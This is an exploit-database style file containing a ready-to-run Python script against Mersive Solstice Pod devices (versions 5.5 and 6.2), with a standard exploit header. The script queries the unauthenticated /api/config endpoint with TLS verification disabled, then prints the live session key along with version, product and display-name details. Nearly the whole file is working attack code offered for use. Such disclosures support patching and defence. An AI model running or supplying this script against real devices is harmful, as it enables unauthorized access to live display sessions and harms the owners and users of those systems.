6805102b8a
3 changes to exploits/shellcodes/ghdb XWiki Standard 14.10 - Remote Code Execution (RCE) Solstice Pod 6.2 - API Session Key Extraction via API Endpoint
88 lines
No EOL
3.7 KiB
Text
88 lines
No EOL
3.7 KiB
Text
# Exploit Title: Solstice Pod API Session Key Extraction via API Endpoint
|
|
# Google Dork: N/A
|
|
# Date: 1/17/2025
|
|
# Exploit Author: The Baldwin School Ethical Hackers
|
|
# Vendor Homepage: https://www.mersive.com/
|
|
# Software Link: https://documentation.mersive.com/en/solstice/about-solstice.html
|
|
# Versions: 5.5, 6.2
|
|
# Tested On: Windows 10, macOS, Linux
|
|
# CVE: N/A
|
|
# Description: This exploit takes advantage of an unauthenticated API endpoint (`/api/config`) on the Solstice Pod, which exposes sensitive information such as the session key, server version, product details, and display name. By accessing this endpoint without authentication, attackers can extract live session information.
|
|
# Notes: This script extracts the session key, server version, product name, product variant, and display name from the Solstice Pod API. It does not require authentication to interact with the vulnerable `/api/config` endpoint.
|
|
# Impact: Unauthorized users can extract session-related information without authentication. The exposed data could potentially lead to further exploitation or unauthorized access.
|
|
|
|
#!/usr/bin/env python3
|
|
|
|
import requests
|
|
import ssl
|
|
from requests.adapters import HTTPAdapter
|
|
from urllib3.poolmanager import PoolManager
|
|
|
|
# Create an adapter to specify the SSL/TLS version and disable hostname verification
|
|
class SSLAdapter(HTTPAdapter):
|
|
def __init__(self, ssl_context=None, **kwargs):
|
|
# Set the default context if none is provided
|
|
if ssl_context is None:
|
|
ssl_context = ssl.create_default_context()
|
|
ssl_context.set_ciphers('TLSv1.2') # Force TLSv1.2 (or adjust to other versions if needed)
|
|
ssl_context.check_hostname = False # Disable hostname checking
|
|
ssl_context.verify_mode = ssl.CERT_NONE # Disable certificate validation
|
|
self.ssl_context = ssl_context
|
|
super().__init__(**kwargs)
|
|
|
|
def init_poolmanager(self, *args, **kwargs):
|
|
kwargs['ssl_context'] = self.ssl_context
|
|
return super().init_poolmanager(*args, **kwargs)
|
|
|
|
# Prompt the user for the IP address
|
|
ip_address = input("Please enter the IP address: ")
|
|
|
|
# Format the URL with the provided IP address
|
|
url = f"https://{ip_address}:8443/api/config"
|
|
|
|
# Create a session and mount the adapter
|
|
session = requests.Session()
|
|
adapter = SSLAdapter()
|
|
session.mount('https://', adapter)
|
|
|
|
# Send the request to the IP address
|
|
response = session.get(url, verify=False) # verify=False to ignore certificate warnings
|
|
|
|
if response.status_code == 200:
|
|
# Parse the JSON response
|
|
data = response.json()
|
|
|
|
# Extract the sessionKey, serverVersion, productName, productVariant, and displayName values from the response
|
|
session_key = data.get("m_authenticationCuration", {}).get("sessionKey")
|
|
server_version = data.get("m_serverVersion")
|
|
product_name = data.get("m_productName")
|
|
product_variant = data.get("m_productVariant")
|
|
display_name = data.get("m_displayInformation", {}).get("m_displayName")
|
|
|
|
# Print the extracted values
|
|
if session_key:
|
|
print(f"Session Key: {session_key}")
|
|
else:
|
|
print("sessionKey not found in the response.")
|
|
|
|
if server_version:
|
|
print(f"Server Version: {server_version}")
|
|
else:
|
|
print("serverVersion not found in the response.")
|
|
|
|
if product_name:
|
|
print(f"Product Name: {product_name}")
|
|
else:
|
|
print("productName not found in the response.")
|
|
|
|
if product_variant:
|
|
print(f"Product Variant: {product_variant}")
|
|
else:
|
|
print("productVariant not found in the response.")
|
|
|
|
if display_name:
|
|
print(f"Display Name: {display_name}")
|
|
else:
|
|
print("displayName not found in the response.")
|
|
else:
|
|
print(f"Failed to retrieve data. HTTP Status code: {response.status_code}") |